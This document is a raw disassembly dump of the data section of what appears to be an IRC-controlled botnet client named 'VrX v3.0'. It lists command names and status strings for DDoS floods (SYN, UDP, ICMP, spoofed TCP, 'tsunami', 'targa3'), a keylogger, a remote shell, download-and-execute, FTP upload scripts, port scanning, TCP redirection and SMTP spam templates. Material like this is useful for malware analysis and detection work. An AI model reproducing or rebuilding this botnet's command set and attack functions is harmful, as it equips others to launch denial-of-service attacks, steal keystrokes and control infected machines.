unk_429D34 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40948Ao
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 10h
unk_429D60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_429D84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_429DAC db 2Dh ; - ; DATA XREF: sub_401ACD+7966o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co
unk_429DD8 db 3 ; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_429DFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429E20 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 10h
unk_429E40 db 3 ; DATA XREF: sub_401ACD+7809o
a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_429E8C db 2Dh ; - ; DATA XREF: sub_401ACD+77C2o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_429EDC db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4091F5o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429F2C db 2Dh ; - ; DATA XREF: sub_401ACD+7721o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 10h
dword_429F50 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401ACD+76DFo
dd 27732527h, 2Eh
unk_429F6C db 2Dh ; - ; DATA XREF: sub_401ACD+7667o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_429F90 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+75ECo
dd 0
unk_429FA8 db 2Dh ; - ; DATA XREF: sub_401ACD+75BFo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 4
dword_429FE8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401ACD+7550o
dd 2Eh
dword_42A000 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401ACD:loc_408F9Do
dd 746E6573h, 2Eh
unk_42A01C db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_42A03C dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401ACD+748Fo
dd 732520h
unk_42A054 db 2Dh ; - ; DATA XREF: sub_401ACD+7481o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 10h
asc_42A080: ; DATA XREF: sub_401ACD+7469o
; sub_4100B4+FBo ...
dw 0Ah
unicode 0, <>,0
unk_42A084 db 3 ; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0
align 4
unk_42A0A4 db 3 ; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0
align 4
aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
align 4
aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0
; DATA XREF: sub_401ACD+73B4o
align 4
aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
align 4
aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo
align 10h
aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
align 4
aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
; sub_401ACD+72E5o
align 10h
aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o
align 4
unk_42A178 db 3 ; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0
align 10h
unk_42A190 db 3 ; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0
align 10h
unk_42A1C0 db 3 ; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0
align 4
unk_42A1E4 db 3 ; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0
align 10h
unk_42A200 db 3 ; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0
align 4
unk_42A21C db 3 ; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0
align 4
dword_42A238 dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
; DATA XREF: sub_401ACD+7028o
dword_42A24C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
; sub_401ACD+7A49o
unk_42A258 db 3 ; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang db '8,1-VrX- Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o
align 10h
dword_42A280 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401ACD+6F8Do
dd 25203A29h, 73h
dword_42A29C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+6F1Fo
dd 203A2973h, 7325h
dword_42A2B8 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6E95o
dd 203A2973h, 7325h
dword_42A2DC dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2E8 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6DEBo
; sub_401ACD+6E71o ...
dword_42A2F0 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D79o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42A334 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D0Eo
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 10h
unk_42A360 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+6C39o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0 db 3 ; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0
align 4
unk_42A404 db 3 ; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS db '8,1-VrX- Repeat: %s',0
align 4
dword_42A41C dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
; DATA XREF: sub_401ACD:loc_408591o
dword_42A430 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6A84o
; sub_401ACD+6B37o ...
dword_42A440 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
dword_42A488 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+69AAo
aDownloadingUpd db '- Downloading update from: %s.',0
align 10h
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o
align 4
dword_42A4FC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+68A2o
dd 7325203Ah, 0
unk_42A518 db 2Dh ; - ; DATA XREF: sub_401ACD+6897o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42A53C db 2Dh ; - ; DATA XREF: sub_401ACD+67FDo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42A578 db 2Dh ; - ; DATA XREF: sub_401ACD+6787o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
dword_42A5A8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do
; sub_401ACD:loc_4091C7o
unk_42A5B4 db 2Dh ; - ; DATA XREF: sub_401ACD+66ABo
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_42A5D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 10h
unk_42A610 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A648 db 2Dh ; - ; DATA XREF: sub_401ACD+660Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A674 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 10h
dword_42A6B0 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+651Do
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 10h
unk_42A6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A718 db 2Dh ; - ; DATA XREF: sub_401ACD+6435o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A780 db 2Dh ; - ; DATA XREF: sub_401ACD+633Co
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42A7B0 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6254o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A824 db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
dword_42A864 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+616Co
aDownloadingUrl db '- Downloading URL: %s to: %s.',0
align 10h
unk_42A890 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42A8D4 db 2Dh ; - ; DATA XREF: sub_401ACD+602Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910 db 3 ; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o
align 4
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o
align 4
dword_42A968 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o
; sub_401ACD+7074o
unk_42A974 db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 10h
unk_42A9B0 db 2Dh ; - ; DATA XREF: sub_401ACD+5C51o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 10h
unk_42AA00 db 3 ; DATA XREF: sub_401ACD+5BBAo
; sub_401ACD+5FA0o
a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
align 4
unk_42AA38 db 3 ; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
db 's for %d minutes using %d threads.',0
align 10h
unk_42AAA0 db 3 ; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0
align 4
unk_42AAD4 db 3 ; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0
align 4
unk_42AB08 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_407320o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42AB38 db 2Dh ; - ; DATA XREF: sub_401ACD+584Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 10h
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o
aSS_1 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: sub_401ACD+57D7o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o
align 4
unk_42ABA8 db 2Dh ; - ; DATA XREF: sub_401ACD+576Do
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao
align 10h
unk_42ABD0 db 3 ; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C db 2Dh ; - ; DATA XREF: sub_401ACD+56B5o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42AC44 db 2Dh ; - ; DATA XREF: sub_401ACD+564Ao
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42AC8C db 2Dh ; - ; DATA XREF: sub_401ACD+5599o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 10h
unk_42ACC0 db 2Dh ; - ; DATA XREF: sub_401ACD+5565o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42ACF4 db 2Dh ; - ; DATA XREF: sub_401ACD+5541o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_42AD2C db 2Dh ; - ; DATA XREF: sub_401ACD+549Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
align 10h
unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42ADB8 db 2Dh ; - ; DATA XREF: sub_401ACD+53FEo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
unk_42AE00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406E1Do
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+5346o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42AE70 db 2Dh ; - ; DATA XREF: sub_401ACD+52CCo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4 db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 10h
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao
align 4
aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co
unk_42AEFC db 2Dh ; - ; DATA XREF: sub_401ACD+511Do
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 10h
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o
align 4
aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
align 4
aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o
aP: ; DATA XREF: sub_401ACD+4F31o
; ___:00438AF0o
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o
align 4
aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo
align 4
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o
aU: ; DATA XREF: sub_401ACD+4EBEo
; ___:00438B00o
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o
align 4
aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o
align 4
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o
align 10h
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o
align 10h
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o
align 4
aScan db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo
align 10h
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do
align 10h
aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo
; sub_401ACD+4D56o
align 4
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o
align 10h
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o
align 4
dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4C95o
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o
align 10h
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo
; sub_401ACD+51DBo
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o
align 10h
unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0
align 10h
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o
; sub_413694:loc_4137C0o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o
; sub_413694:loc_4137A4o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo
; sub_413694+F1o
align 10h
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o
align 10h
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do
align 4
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o
align 10h
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo
align 4
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o
align 4
aE: ; DATA XREF: sub_401ACD+49DAo
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o
aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o
; sub_401ACD+49ACo
aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo
align 10h
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o
align 4
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o
; sub_401ACD+6B0Co
align 4
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo
aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o
align 4
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+48AFo
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+4853o
align 10h
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+483Co
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+480Eo
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o
align 4
aM: ; DATA XREF: sub_401ACD+47E0o
; ___:004387C8o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o
align 10h
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo
align 4
aA: ; DATA XREF: sub_401ACD+4784o
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o
align 10h
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o
align 4
aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo
align 10h
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o
aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o
unk_42B254 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42B270 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
